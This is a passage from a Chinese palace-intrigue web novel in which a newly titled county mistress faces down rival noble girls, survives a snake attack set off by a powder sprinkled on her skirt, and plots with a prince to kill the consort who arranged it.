明明晏逐星几日前还只是一个身世不明的侯府养女,还和一对商贾夫妇牵扯不清。
攀上烈国公府已经算她走运,如今竟然得了太后赏识,被皇上封为县主,还穿上了这有价无市的浮光锦。
她怎么能不嫉妒。
她怎么能服气!
众人都已经行完礼,唯有陆玥君还僵在原地,顿时显得有些怪异。
晏逐星也注意到了她。
来之前,衔蝉已经把在场的人都指给她认了一遍,因此她能准确地认出所有人的身份。
“陆三小姐为何一直看着我?”晏逐星微微一笑。
“三妹妹瞧见县主这身衣裳太美了,一时间看呆了,还请县主见谅。”陆珮君赶忙替她找补。
“三妹妹,还不赶紧给县主行礼。”
陆玥君此刻越想越气,越想越憋屈,又接二连三被自己平日里看不起的二姐教训,更是火冒三丈。
她当即就和陆珮君对着干,梗着脖子道:“什么看呆了,我不过是看她穿着这身浮光锦,替这好料子不值罢了!凭她也配?”
陆珮君:“……”
完了。
这下是真的要被蠢货连累了。
众人均被她这话给惊到了,一言不发,目光全落到了晏逐星的身上。
嘉敏郡主饶有兴致地喝着茶,等着看晏逐星如何应对。
毕竟,与她唱反调的可是太傅心尖儿上捧着的小孙女。
今日晏逐星若露了怯,日后在这京中贵女圈里恐怕再难有立足之地。
若她气急败坏、逞那匹夫之怒,当众行粗鄙之举,那就说明此人愚不可及,不值得结交。
在众人的注视下,晏逐星走到陆玥君面前一步之遥停下,嗤笑一声。
“配不上浮光锦?陆三小姐,你这眼神看来不仅认不清人,连料子也分不清呢。”
“我身上穿的,压根就不是浮光锦。”
一句话让众人都瞪大了眼睛。
不是浮光锦那是什么?
晏逐星抬起袖子,给众人展示了一圈,而后笑意盈盈道:“此乃流光缎。是我铺中匠人用新技法织就的料子,尚未正式面市。”
她顿了顿,脸上的嘲弄之意越发明显。
“你连浮光锦都能认错,见识如此浅薄,难怪连基本的尊卑礼仪都抛诸脑后。”
“我……”
陆玥君被这连番的质问和当众揭短羞辱得头晕目眩,想反驳却一个字也吐不出来。
她下意识地看向了一旁的陆珮君,希望她能出来说两句。
但陆珮君绷紧了脸一言不发。
“太傅府的教养,今日真是让本县主大开眼界。”晏逐星不再看陆玥君,目光转向看戏的嘉敏郡主。
“郡主殿下,陆三小姐言语无状,当众藐视朝廷敕封的县主。按照大虞律法,该当何罚?还请郡主示下。”
嘉敏郡主放下茶盏,红唇微勾,带着一丝看好戏的慵懒:“陆三小姐,你可知罪?”
陆玥君被她这么一质问,顿时慌了神,她讷讷地不知道该如何开口。
她敢看不起晏逐星,但可不敢敷衍嘉敏郡主。
她僵硬地开口:“郡主恕罪,是玥君眼拙无知,一时口不择言,冲撞了县主。”
晏逐星笑了:“既然知道你冲撞的是本县主,求嘉敏郡主恕罪做什么?”
陆珮君不得不出来替她收拾烂摊子。
“三妹妹年幼无知,冒犯了县主,还请县主原谅。三妹妹,快道歉。”
陆玥君不情不愿地开口:“县主,是我冒犯了您,我知错了。”
嘉敏郡主看向晏逐星,慢悠悠道:“既然她冒犯的是你,不如让你来决定如何罚她吧。”
晏逐星也不客气,刚刚问嘉敏郡主只是例行公事,谁让在场她品阶最大呢。
不问不合适。
如今让她自己来惩戒陆玥君,那再好不过了。
看不起她的人,当然要亲自打脸回去才痛快。
于是她开口道:“既然你知错。念在你是初犯,又是太傅孙女,重罚倒显得本县主不近人情。这样吧……”
她的停顿,让陆玥君心底顿时燃起了希望。
晏逐星肯定会看在祖父的份上将此事轻轻揭过。
但下一刻,晏逐星的话让她瞬间崩溃。
“就罚你在此跪足半个时辰,好好反省你的眼拙与口不择言吧。”
晏逐星说完看向了嘉敏郡主。
“郡主觉得这个惩罚可还公允?”
嘉敏郡主笑着点了点头:“令嘉妹妹处置十分妥当,本郡主并无异议。”
晏逐星直接让衔蝉和双鲤去请陆玥君跪下。
看着陆玥君屈辱的表情,她淡淡道:“陆三小姐今日认错了料子是小,日后若再认不清身份,冒犯了更不该冒犯的人,恐怕就不是跪半个时辰这么简单了。”
“本县主与季太医颇有几分交情,可要我去请他给你治治眼睛?这眼拙的毛病,你还是趁早治治的好。”
“妙极。”嘉敏郡主唇角笑意更深,眸中欣赏之色愈浓,“令嘉妹妹此言,深得我心。”
有趣,有趣。
这丫头损人不带脏字的促狭劲,她得好好琢磨学习学习,日后说不定能用得上。
陆玥君到底只是一个刚满十三岁的小姑娘,听到这番话,再也承受不住晏逐星这样的挖苦和众人异样的目光,两眼一闭打算装晕逃避惩罚。
不曾想,晏逐星却抢先一步开口:“陆三小姐,你是要晕了吗?温氏当初就很喜欢晕过去,本县主治疗晕厥很有经验哦,需要我帮你看看吗。”
陆玥君:“……”
这下好了,她连装晕都装不成了。
于是她只得颤颤巍巍地在众人的注视下罚跪。
陆玥君羞愤欲绝,只觉得这是她人生中最漫长的半个时辰了。
隐在人群中的李柔徽眼帘低垂,眉心几不可察地蹙起。
果然,小叔所言非虚。
这个晏逐星,当真是个心思深沉的棘手人物,真是让人不喜。
不过是侥幸撞了大运的野山鸡,倒也装模作样地抖落起真凤凰的排场了。
她捏了捏藏在袖中的药瓶,斟酌着什么时候能用上。
第195章 接着被打脸
“二夫人!三小姐她被县主押在水阁里罚跪呢!”陆玥君的丫鬟芙蕖快步跑到二夫人蒋氏跟前告状。
得知女儿当众罚跪,蒋氏只觉得一股血气直冲脑门,眼前发黑,身子晃了晃,差点当场栽倒。
芙蕖心里发虚,自然不敢说陆玥君冲撞晏逐星的全过程,避重就轻道:
“小姐就是行礼慢了些,不小心把县主身上的料子错认成了浮光锦,就被县主指着鼻子骂眼睛有疾,硬生生按着跪在那儿。那么多千金小姐都看着呢!”
小姐说了,让她一定要把夫人请过去。
她就不信,夫人来了,县主还能一直让她跪着。
蒋氏听到后面这些话时胸口的怒火几乎要炸开。
她猛地扭头看向烈国公夫人,声音都气得发颤:“国公夫人认下的这位干女儿,今日可真是威风八面啊。连我们太傅府的脸面都敢往地上踩了么?”
烈国公夫人眉头蹙紧,语气却四平八稳:“星儿这孩子行事一向有章法。此事定有缘由。”
“缘由?!”蒋氏声音陡然拔高,面皮涨得通红,“不管天大的缘由,她也不该如此作践我的女儿。这事儿,我们陆家跟你们没完。”
她气得攥紧了帕子。
烈国公夫人目光扫过在场众人,最后落在上首端坐的昭明公主身上,语调依旧十分平静:“嘉敏郡主当时也在水阁。若星儿真有什么不当之处,郡主在场岂会坐视不理?如今令嫒被罚,恐怕是郡主也认为她理亏吧?”
她故意把嘉敏郡主抬了出来。
果然,一提到自己的女儿嘉敏郡主,昭明公主无法再置身事外了。
“烈国公夫人说得是。”昭明公主点点头,而后看向身边两个得力的侍女。
“去水阁,仔细问问到底怎么回事。再把郡主请过来。”
她倒要看看,今日这水阁里唱的是哪一出。
蒋氏闻言,眼中闪过一丝希冀,女儿今日受的委屈,有公主在,定然不会让晏逐星好过。
跪在地上芙蕖在听到公主派人去仔细问问时,浑身一抖,冷汗瞬间浸透了后背的衣衫。
她脑子里嗡的一声,只剩下一个念头:完了,事情要包不住了!
没过多久,嘉敏郡主就跟着那两位侍女来了。
昭明公主沉声开口:“嘉敏,你给陆二夫人仔细说说水阁先前发生了什么事,陆三小姐为何会被罚跪?”
嘉敏郡主饶有兴味地看着一脸期待的蒋氏。
她该不会期待着她会替陆玥君说好话吧?
果然陆玥君的蠢不是没有缘由的。
她娘就蠢。
大蠢货生出小蠢货,合情合理。
“是,母亲。”嘉敏郡主应了一声,绘声绘色地把先前陆玥君怎么得罪晏逐星的场景说了出来。
她越说,蒋氏的脸色白得越厉害。
她根本不知道是女儿先挑衅的晏逐星。
说到最后,嘉敏郡主活学活用,把晏逐星说过的话对蒋氏说了一遍。
“陆二夫人,陆三小姐今日认错了料子是小,日后若再认不清身份,冒犯了更不该冒犯的人,恐怕就不是跪半个时辰这么简单了。本郡主觉得令嘉妹妹说得很对,陆三小姐这眼拙的毛病,您还是趁早寻名医给她治治的好。”
蒋氏活了半辈子,从未觉得如此丢人现眼。
嘉敏郡主那毫不掩饰的轻蔑让她坐立难安,恨不得立刻找个地缝钻进去。
烈国公夫人轻笑一声:“我就说了,星儿不是那种无故生事的人。”
她这番话,像是隔空扇了蒋氏一巴掌。
羞愤交加之下,蒋氏无处发泄的怒火就落在了芙蕖身上。
她反手就狠狠给了芙蕖一巴掌:“你这个贱婢!竟敢欺上瞒下,蒙蔽主子!”
芙蕖被打得双颊红肿,却丝毫不敢辩解,只能不停认错求饶:“奴婢该死!奴婢知错了!夫人饶命啊!”
蒋氏此刻哪里听得进去,胸中的怒火烧得她理智全无,抬手又是“啪啪”两记耳光甩过去,芙蕖的脸颊立刻肿得更厉害了。
坐在下首的陆璧君眉头紧锁,不由担忧起了跟在陆玥君身边的亲妹妹陆珮君。
就算晏逐星今日网开一面放过了二妹妹,等回了太傅府,二妹妹恐怕也难逃池鱼之殃,少不得要受磋磨。
这念头让她心急如焚。
眼见蒋氏只顾着拿丫鬟撒气,全然忘了正事。
陆璧君不得不开口:“二婶,眼下当务之急,还是先去水阁见县主吧。县主素来明理,此番惩戒三妹妹,或许只是小惩大戒,意在警醒,此刻说不定已经让三妹妹起身了。”
若在平日,蒋氏一定会斥责陆璧君一个出嫁女多管闲事。
可此时此刻,陆璧君的话如同救命稻草,蒋氏如蒙大赦,只想立刻抓住这逃离眼下难堪境地的机会。
“你说得对!”
蒋氏迫不及待地应声,冲在场的贵夫人们行了一礼。
“我教女无方,让诸位见笑了。我这就去给县主赔礼道歉。”
说完便快步离开去到了晏逐星面前。
看着跪在地上哭得双眼通红的女儿,蒋氏心如刀绞,但她顾不得安慰女儿,得先给晏逐星赔罪。
“县主,今日是小女莽撞无知,冒犯了您。怪我教导无方。求您大人大量,高抬贵手,饶了她这一回吧……”
晏逐星沉默片刻后,方才开口:“罢了。陆三小姐既已知错,夫人便带着她回去吧。还望陆家日后好生约束门楣,免得抹黑了太傅大人的声誉。”
她轻轻抬了抬手,示意衔蝉和双鲤可以放人了。
她今日教训陆玥君,本来也不打算赶尽杀绝,只是陆玥君自己傻,非要撞上来给她开刀,树立威严,她不刀白不刀。
蒋氏心里憋屈,但却不得不道谢:“谢县主宽宏!”
说完她不敢再多看晏逐星一眼,将地上的陆玥君一把拽了起来,灰溜溜地提前离开了宴会。
在场的贵女们都对晏逐星有了新的认识。
这个令嘉县主,惹不得。
看见蒋氏母女落荒而逃,李柔徽眉头锁得更紧了。
她知道她该出手了,若再不出手,之后恐怕就没机会了。
她脑海里全都是来做客前夕小叔李兰亭跟她说的那些话。
第196章 李柔徽下药
“徽儿,小叔的下半辈子是彻底没指望了……”
“公主薨了,福安也没了,都折在那个姓晏的野丫头手里!”
“此仇不共戴天!”
“徽儿,但小叔能指望你,对么?”
“福安那份价值连城的嫁妆,小叔能做主!”
“只要你替福安报仇,替小叔出了这口恶气,让那贱人也尝尝生不如死的滋味。福安所有的田庄、铺面、金银珠宝、御赐之物,全是你的。”
李柔徽想到福安郡主那份令人咋舌的丰厚嫁妆,心脏剧烈跳动了起来。
“还有你的亲事。你祖父给你相看的那户人家算什么?区区五品官的儿子哪里配得上你。只要你做成此事,小叔求到太后娘娘那头,必定为你谋上一桩让你满意的婚事。”
李柔徽最终被说动了。
她不喜欢祖父给她说的那门亲事。
区区钦天监监正之子能有多大出息,明明按照他们李家的家世能给她寻摸到更好的。
祖父就是偏心堂姐。
钦天监监正之子若是真的好,为何不让堂姐去嫁,还不是看她没了爹只有一个不中用的娘,才会这样轻怠她。
李柔徽捏紧了手中的药瓶,死死盯着晏逐星。
今日,她若能替小叔出了这口恶气,福安郡主的那些嫁妆就都是她的了。
届时,有小叔和太后为她筹谋,她一定能找到更好的亲事。
想到此处,李柔徽深吸一口气压下狂跳的心,面上挂起恰到好处的笑容,跟着刑部尚书之女宋兰茵一同靠近了被几位贵女围住的晏逐星。
“除了流光缎,县主,您那流光阁还卖什么新奇玩意儿呀?”宋兰茵兴致勃勃地问道。
李柔徽也适时露出好奇的神色,目光不经意地扫过晏逐星周身,寻找着最稳妥的下手之处。
她注意到晏逐星此刻是侧身坐着,裙摆垂落在石凳边缘靠近地面的地方。
她心念一动,觉得那是个不错的下手位置。
“一些岭南、蜀中特有的香料、药材和小玩意儿,流光阁也会售卖。之后或许还会增加些西戎和琉光来的稀罕物。”晏逐星浅笑着回应,“届时你们去逛逛便知了。”
“县主头上这支珍珠簪子真是别致,流光阁往后会出类似的样式么?”李柔徽一边柔声询问,一边自然而然地倾身伸手向前,仿佛被那簪子吸引,想要看得更真切些。
晏逐星眉头微蹙,身体不着痕迹地后仰,避开了她伸来的手,语气平淡:“李四小姐若喜欢,我可以命人造些类似的款式放上去。”
“是柔徽失礼了,还请县主恕罪!”李柔徽立刻做出一副惊慌失措的模样,顺势跪倒在晏逐星散开裙摆边缘。
她一边磕头,一边趁着谢罪的功夫用宽大的袖摆做遮掩,将那浅黄色的药粉洒在了晏逐星的裙摆上。
“柔徽一时忘形,绝无冒犯之意,求县主宽宥!”
她连连求饶。
晏逐星冷冷地俯视着跪在自己裙边的李柔徽。
她甚至还未开口斥责,对方就抢先一步做出这副惶恐请罪的姿态。
意图昭然若揭。
她才刚处置了当众冒犯她的陆玥君,此刻李柔徽又来这么一出,不就是想坐实她“苛待贵女”、“性情暴戾难容人”的名声么?
让所有人都觉得她这位新封的县主动辄便让人下跪,嚣张跋扈至极。
果然,李柔徽这一跪让周围原本轻松谈笑的气氛骤然一凝。
不少贵女们都停下了交谈,窃窃私语道:
“这又是怎么了?”
“怎么又跪了一个?”
“刚才是陆家三小姐,现在是李家四小姐。这位县主,好大的威风啊……”
晏逐星起身,优雅地向后退开一步,拉开与李柔徽的距离。
她微微歪头,用一种纯然无辜又带着浓浓困惑的眼神,居高临下地审视着跪在自己脚边的人,声音清亮,足以让周围人都听得清清楚楚:“李四小姐,这可真是奇了。”
“我这儿还一个字儿都没说呢,你怎么就跪下了?”
“难不成你们李家的女儿,膝盖骨天生就比别人软上几分?这动不动就下跪的规矩,莫非是府上的家传?”
李柔徽咬紧了牙关,脸涨得通红。
她还是低估了晏逐星牙尖嘴利的地步。
她承认,她刚刚下跪除了是想掩饰自己下药外,更想让晏逐星给众人留下一个不好相处,嚣张跋扈的印象。
可不曾想她反应竟然那么快!
不等她开口,晏逐星又道:“你这一拜呀,论身份,本县主自然是受得起的。”
“但我一未动怒,二未开口让你跪,你就跪得这么快,究竟是真心认错,还是存心要陷我于不义之地呢?”
她直接把话撕开了说,让众人自己用脑子想一想。
今日之事,究竟是李柔徽存心陷害,还是她嚣张跋扈,想必京中这些人精似的千金小姐们,应当能看明白。
“本县主也累了,失陪了。”
晏逐星再不看地上跪着的李柔徽一眼,径自转身离去。
她这一走,愈发衬得跪在原地的李柔徽如同戏台上刻意卖弄却无人喝彩的丑角,徒惹笑柄。
如今本就是认亲宴的尾声,已有不少夫人小姐陆续起身,准备告辞离去。
李柔徽这突兀的一跪,正正落入了许多前来道别的贵夫人眼中。
李柔徽羞愤欲绝,恨不得当场化作一缕青烟消失在国公府。
她在丫鬟的搀扶下踉跄起身。
她看着相熟的那些千金小姐们,忍不住解释:“我没有别的意思,我刚刚只是太害怕了……”
众人心思各异,面上却没有显露出来,只是呵呵笑着点头敷衍了过去。
李柔徽攥紧了拳头,只觉得耻辱感爬遍全身。
但一想到晏逐星之后会遇到的“意外”和“狼狈”,她又冷静了下来。
她这点丢人算什么。
到那时,晏逐星死得那么惨,谁还会记得她李柔徽此刻的区区一跪?
第197章 是蓄意谋杀
晏逐星准备回摘星院,看看莺歌到底有没有像她说的那样毒发身亡。
结果刚走出水阁,就瞧见了迎面而来的昭明公主母女。
她恭敬行礼,准备道别,不曾想嘉敏郡主就特意移步到她面前,笑意盈盈地相邀:“过些日子得空,妹妹定要来公主府寻我小聚才好。”
昭明公主闻言,眼中掠过一丝难掩的讶异。
嘉敏这孩子竟会主动开口邀人去公主府做客?
这可真是破天荒头一遭。
她这个女儿面上瞧着是八面玲珑,与谁都能说上几句场面话,但骨子里却最是清高挑剔。
那些围着她打转的世家贵女,在嘉敏眼中不过是些言语乏味、见识短浅的庸脂俗粉,根本入不了她的眼。
更别提让她生出主动结交、邀请入府做客的兴致。
如今她竟然主动约了晏逐星?看来这位被皇兄新封的令嘉县主,还真是有些能耐。
晏逐星也没想到嘉敏郡主会主动相邀,但她不打算拒绝。
她的敌人太多,朋友太少,除了杀人,也该多交点朋友才是。
“郡主相邀,逐星荣幸之至。”晏逐星笑着应下。
送走了她们,晏逐星才带着衔蝉和双鲤往摘星院走。
回摘星院需穿过一小片精心打理的花园,三人沿着青石小径前行。
假山石边上几丛重瓣牡丹开得正盛,硕大花朵沉甸甸压弯枝头,忽然,一丛牡丹下的阴影好像有活物在蠕动。
双鲤好奇地探头去看,就看到一条乌黑油亮的毒蛇从层层叠叠的牡丹叶底窜出,直冲晏逐星奔去。
事发突然,衔蝉和双鲤被吓得魂飞魄散,根本来不及反应,就看到第二条毒蛇也游了出来,跟着冲向了晏逐星。
千钧一发之际,晏逐星几乎是本能地将手中的袖箭射出。
但两条蛇的速度太快,晏逐星射出的箭只钉住了先出来的那一条。
另一条被袖箭擦伤的黑蛇非但没有后退,反而像是被彻底激怒了。
吐着蛇信子无视钉在地上的同类,依旧径直扑向晏逐星。
晏逐星意识到不对劲,但此刻她已来不及细想,反手拔出腿上寒光凛冽的匕首,精准插入扑过来的黑蛇七寸,将它狠狠钉死在地。
“嘶嘶嘶。”
不等她喘气休息,假山石缝中竟然又接连窜出两条毒蛇,同样直冲她而来。
“跑!”
晏逐星厉喝出声,用她手中仅剩一只袖箭,面对这么多毒蛇,她没把握能全杀了。
双鲤和衔蝉如梦初醒,爆发出凄厉的尖叫:“来人啊!救命!有蛇!好多毒蛇!”
“快来人!救县主!”
呼救声划破花园的寂静。
几乎是同时,杂沓的脚步声和呼喝声由远及近。
“县主莫慌!”
“保护县主!”
几名闻声赶来的健壮家丁手持长棍和火把,将剩下的蛇给驱赶打死。
晏逐星主仆三人被国公府的家丁包围保护在正中间,总算得了喘息的功夫。
“县主,吓死奴婢了。”双鲤强忍着的眼泪终于落了下来。
太吓人了,花园里怎么会有那么多的毒蛇。
衔蝉惊魂未定,怒火直冲头顶,她指着地上的蛇尸对着赶来的家丁和管家厉声质问:“国公府的花园里怎么会藏着这么多毒蛇?!”
“你们平日里是怎么当差的?园子都不仔细检查清扫么?今日若不是我们县主机警,万一真被咬着了,你们有几个脑袋担待得起?”
匆忙赶来的管家此刻已是脸色煞白,额头上布满了冷汗。
他扑通一声跪倒在地,高声道:“县主恕罪!衔蝉姑娘息怒啊!这实在是天大的冤枉!”
他急急分辩,语气满是惊惶与困惑。
“府中各处,尤其是园子,我们前两日才刚刚彻底清扫过,撒足了驱蛇避虫的药粉。按说绝不该有蛇,更别说一下子冒出这么多毒蛇来!”
“这简直邪门了!小的们日日巡查,从未敢懈怠,今日这事实在蹊跷啊!”家丁们也为管家抱冤。
晏逐星自是相信管家说的话。
毕竟尉迟敦喜欢在园子里玩,国公府定然会仔细检查府中各个角落,避免蛇虫的出现。
今日这些毒蛇全都冲着她而来,一定有人在背后动了手脚。
晏逐星一瞬间就想到了之前那柄有毒的银梳,这两件事的幕后指使者应该是同一人。
毒梳可以说是收买了国公府的丫鬟,毒蛇也可以是买通下人暗暗将其放入园子里。
但为什么那些蛇只攻击她一个人而不攻击别人呢?
晏逐星将自己的疑惑说了出来。
众人恍然大悟,这不是意外,是谋杀。
九栀也跟着烈国公夫妇一块赶了过来。
九栀率先莺歌的情况汇报了一遍:“县主,莺歌没有撒谎,她确实中了那个毒。”
“义父,可曾查出是什么毒了么?”晏逐星看向了眉头紧锁的烈国公。
烈国公摇了摇头,语气凝重:“请太医来验了,只说是剧毒,但具体什么毒没查出来,瞧着不像咱们大虞的毒。倒是有些像南穹传来的毒药。”
想到面前这些毒蛇的尸体,烈国公一颗心直直往下坠。
他最终还是忍不住问了出来:“星儿,你可是得罪了什么人?那人竟然恨你至此,非要置你于死地?”
烈国公夫人紧紧握着夫君的手,一脸担忧地看着晏逐星。
往梳子上下毒的法子实在太过阴险,令人不寒而栗。
若不是莺歌心虚,若不是星儿机警,今日认亲宴恐怕就要从喜事变成丧事了。
如今竟然还有毒蛇这个后招,烈国公夫人忍不住也开口了:“星儿,你若遇上了什么事,可以告诉我们的。”
晏逐星抿唇不语,仔细思索着今日发生的事情。
而后,她灵光乍现,想到了突兀跪下的李柔徽。
“我知道了,是她。”
第198章 驸马有刺客
“谁?”烈国公夫妇同时出声询问。
晏逐星没有马上回答,而是从家丁手中拿过了火把,仔细检查起自己的裙摆。
“果然如此。”晏逐星瞧见了上边残留的淡黄色粉末。
若是不仔细看,定然什么也看不出来。
“什么果然如此?”烈国公夫妇越发疑惑了。
晏逐星将自己的怀疑说了出来。
“我这裙摆上,想必残留的就是能吸引毒蛇的药粉。而今日接触过我这个位置的人,只有李柔徽。”
“李老先生府上的四姑娘?”烈国公夫妇都很惊讶。
“你得罪的是李家人?”
晏逐星摇了摇头:“我不知道。”
她不能将朝华长公主和福安郡主的事情说出来,因而只能否认。
“你放心,不管因为什么,此事我与你义父一定会给你讨一个公道!”烈国公夫人心头怒火熊熊燃烧。
她前年才痛失爱女,如今好不容易认了个合心意的女儿,竟又有人要加害于她。
她忍无可忍,一定要将这幕后之人揪出来。
“干娘,您莫要冲动,咱们没有证据。”晏逐星不愿国公府为了她去和李家对上。
李家老太爷李崇简是青山书院的山长,顶级大儒,门生遍朝堂。
青山书院,那是天下学子挤破头都想进的地方。
国公府要是跟李家对上,绝对讨不了好。
这帮文人的笔杆子,那叫一个杀人不见血。
这本来就是她的事情,不能将国公府牵扯其中。
她的心底已经有了猜测。
她得罪的无非就是定远侯府、温家、长公主府和太后这几家。
定远侯府的仇人已经死光,温家也已经全被赶出京城,就只剩太后和长公主府了。
太后那边,更想用婚事来控制她,而驸马李兰亭,虽然没有亲自上门找过她
但李柔徽是驸马的侄女,她被驸马怂恿着对付她的可能最大。
今日这两回刺杀,幕后之人大概率就是驸马李兰亭了。
“傻孩子,证据这种东西,何必我们自己找呢。”烈国公冷笑一声,命人将晏逐星送回了摘星院。
晏逐星拗不过他,只得老实待在了院子里。
但很快她就有了主意。
*
烈国公一路疾行入了宫,不顾宫人阻拦,直闯御书房。
文昭帝正批阅奏章,被他这满脸煞气、双目赤红的模样惊得笔都掉了。
“爱卿,你这是……?”
文昭帝话音未落,烈国公“扑通”一声重重跪倒在地。
“皇上——!您要为老臣做主啊!!!”
他这一嗓子,把文昭帝惊得从龙椅上豁然站起。
若他没记错,今日应该是国公府的认亲宴吧。
怎么好端端的烈国公忽然冲进宫来找他做主,难不成认亲宴上烈国公家那唯一的傻世子出事了?
“发生了何事?”
“皇上,有人想要我尉迟家绝后啊。”
烈国公痛哭流涕了起来。
“老臣前年没了女儿,如今膝下就剩那么一根独苗,我那苦命的儿啊。”
“您知道的,他小时候一场高烧烧坏了脑子,至今如同五六岁的稚儿一般,老臣已经不指望他传宗接代,如今认下义女,也是为了老臣百年之后,可以让义女照拂我儿。可如今……”
烈国公声音哽咽。
文昭帝吓了一跳:“怎的了,可是世子出事了?”
若是世子出事了,那可就麻烦了。
那可是烈国公的唯一的后人了。
“敦儿没事。”
听到这话,文昭帝舒了一口气,但下一刻他又紧张了起来。
尉迟敦没事,那岂不是他刚封的令嘉县主出事了?
那可是他和皇后看好的小儿媳啊,也是万万不能出事的。
好在烈国公没有卖关子,继续哭着控诉:
“如今,竟有人把手伸到我府里来了。他们想害死老臣刚认下的义女令嘉县主。皇上,您想想,外人害她一个无依无靠的孤女做什么?图什么?”
他快速将毒梳和毒蛇的事情说了出来。
文昭帝一凛,好歹毒的法子。
若后宫也有人行这等阴毒的招数,那可真是防不胜防。
“老臣思来想去,这哪是冲她去的?这分明是项庄舞剑,意在沛公。他们是嫌我那傻儿子尉迟敦碍眼!”
“他们要害的,是我尉迟家唯一的指望,是想要老臣断子绝孙,让我这一脉彻底绝户啊,皇上!!!”
烈国公最后这一声,喊得嗓子都劈叉了。
文昭帝伸手将烈国公搀扶了起来。
他严肃着脸道:“爱卿放心,此事朕一定会为你做主。”
“此人胆大包天,竟敢谋害忠良之后。断人宗嗣,其心可诛。朕定将那幕后真凶给揪出来,严惩不贷。”
“多谢皇上圣恩。”烈国公又哭着跪倒在地,给皇上重重磕了几个响头。
眼泪糊满了他整张脸,他花白的胡须也被眼泪打湿,一绺绺黏在一起。
这副狼狈凄惨的模样,谁瞧见了都忍不住心酸。
文昭帝身后的严公公忍不住在心底叹气:
这烈国公一家可真是惨啊。
儿子傻了,女儿死了,今日认个义女,还能折腾出刺杀之事。
真是坎坷波折的一生啊。
不过那令嘉县主可真个幸运的人啊,被刺杀这么多回,换做旁人恐怕投胎都好几回了,她硬是没死。
啧啧,真是有福之人啊。
*
李兰亭在公主府里来回踱步。
他一直等着晏逐星的死讯传来,没想到当天夜里等到的却是皇上要严查谋害烈国公府世子的消息。
“竟然还没死?”李兰亭恨得咬牙切齿。
他没想到,晏逐星的命竟然这般硬。
怪不得定远侯府的人都被她给克死了,朝华和福安也接连被她害死。
他死死盯着朝华长公主和福安郡主的牌位,眼神空洞,嘴里反复念叨着如同诅咒的低语:
“她就是颗灾星,走到哪儿,哪儿就得死人……”
“她死了……这世上就清净了……再不会有人死了……”
他的声音陡然拔高,带着一种病态的狂热。
“我杀了她,是替天行道!是为所有人除害!”
他的声音又变得有些飘忽,眼神也变得迷离不定。
“朝华,福安,你们就在天上看着我呢……对吗?”
“我一定会杀了她……杀了她……”
供桌上香雾缭绕,那袅袅青烟盘旋在李兰亭扭曲的面容前,衬得他神色狰狞如恶鬼。
他用帕子仔细擦拭着妻女的牌位,唇边还浮起若有似无的笑。
一旁的心腹侍卫将这一切看在眼里,心头猛地一沉,一股寒意瞬间从脚底板窜上头顶。
驸马爷这模样,怎么看着像是入了魔?
他心头发麻,不敢再看李兰亭。
“咔哒。”
门外忽然传来一声轻响,在寂静的灵堂里显得格外刺耳。
侍卫浑身汗毛瞬间倒竖,一股强烈的危机感如同冰水浇头而来。
他来不及细想右手闪电般按上腰间刀柄,同时一个箭步挡在李兰亭身前,嘶声厉吼:“驸马当心!有刺客!”
第199章 主动约王爷
李兰亭被这突如其来的变故惊得手中的牌位猛地坠到了地上。
朝华长公主的牌位落在地上,瞬间摔碎了一个角。
“朝华……”
他惊呼出声伸出手想要去把牌位捞起来,却猝不及防被后退的侍卫蒋峰撞了一下。
这一撞他重心全失,脚下一个趔趄,竟不偏不倚狠狠一脚踏在了朝华长公主的牌位之上。
“朝!华!”李兰亭目眦欲裂。
蒋峰拔刀警惕地看着门口声音传来的位置,可外边却没了动静。
这时听到身后驸马撕心裂肺的怒吼,他猛地回头,看到地上断裂的牌位,顿时意识到自己闯下了惊天大祸。
“驸、驸马……”他惊恐地后退了一步。
李兰亭死死瞪着蒋峰,眼中怒火几乎要喷出来。
“刺客?!”他声音嘶哑地吼道,“你喊有刺客!刺客在哪?!”
“在那边。”蒋峰慌忙指向先前发出声音的地方,“刚才真有人!”
李兰亭顺着他指的方向快步走了过去,推开门一看,外边只有婆娑的树影和沉沉的夜色,哪有什么刺客踪影?
“人呢?”李兰亭双目猩红地看着他,“我看根本就没人,是你这狗东西存心作祟,毁坏公主灵位!该死!”
“驸马饶命!”蒋峰当即跪下求饶。
然而李兰亭已经被暴怒冲昏了理智,他猛地抄起供桌上沉重的青铜香灰炉,用尽全身力气,狠狠朝蒋峰的脑袋砸去。
蒋峰下意识地闪躲,但一贯以来的忠诚让他又不敢闪躲得太过,因而那沉重的香灰炉虽然没有砸到他的脑袋,但也正中他的肩头。
肩头的剧痛让他倒在了地上,香灰飞散出来迷了他的眼,他的脸上身上瞬间一片灰白,整个人狼狈不堪。
不一会儿,外边就传来一阵急促杂乱的脚步声和惊呼声。
“快,捉拿刺客!”
“驸马?!”
“快!进去看看!”
门被猛地推开。
闻声赶来的管事和侍卫瞬间冲了进来。
他们一进门就被眼前触目惊心的景象给吓到了。
地上是断成两截的“朝华长公主”牌位。
驸马的心腹侍卫蒋峰倒在厚厚的香灰堆里,满头满脸都是灰白色的粉末,正痛苦地呻吟,狼狈地翻滚着。
而驸马手中正举着燃着火的香烛。
在烛光的映照下,李兰亭那张因暴怒而扭曲的脸,看起来格外恐怖。
所有人都惊呆了。
他们甚至来不及阻止,就看到李兰亭把手中的蜡烛狠狠地烫到了蒋峰的身上。
蒋峰发出一声惨叫,嘴里不停地喊着驸马饶命,翻滚得更厉害了。
众人目瞪口呆。
看驸马这模样,分明是得了失心疯了。
隐藏在暗处的停云暗道一声:成了!
两个时辰前,他奉王爷之命去烈国公府给晏大小姐送认亲宴的贺礼。
他有些疑惑,王爷为何不今日当着那么多宾客的面去送礼,好让人知道晏大小姐身后有王爷撑腰,偏要等宾客散尽后,才让他低调地送礼。
照夜没好气地给他解释。
王爷去了不就抢了大小姐的风头了么。
今日认亲宴,大小姐才是主角。等日后她那流光阁开了,王爷再去撑腰,旁人自然也就心知肚明了。
停云这才恍然大悟。
没想到,他把东西送到后想要离开,就被晏逐星叫住了,让他给王爷带一句话。
“今夜月黑风高,是个杀人的好日子。劳烦你转告一下王爷,有没有兴趣一块去长公主府杀个人。”
停云:“……”
别的姑娘约男子出门,都是赏花踏青。
这位晏大小姐倒好,约他们王爷出门,每次不是杀人,就是去游玩的路上顺便杀人。
他问清了今日发生的事情,便带着晏逐星的口信回了王府。
谢翊宁得知李兰亭今日竟然丧心病狂地接连对晏逐星下了两次毒手,当即拍板决定:“好,今夜本王奉陪到底。”
朝华姑母和福安表妹都没了,她们在九泉之下一定很孤单。
还是把驸马送去一块陪她们吧,一家人整整齐齐,说不定还能赶上一块投胎,来世还可以再当一家人。
于是就有了停云深夜潜入长公主府祠堂的这一幕。
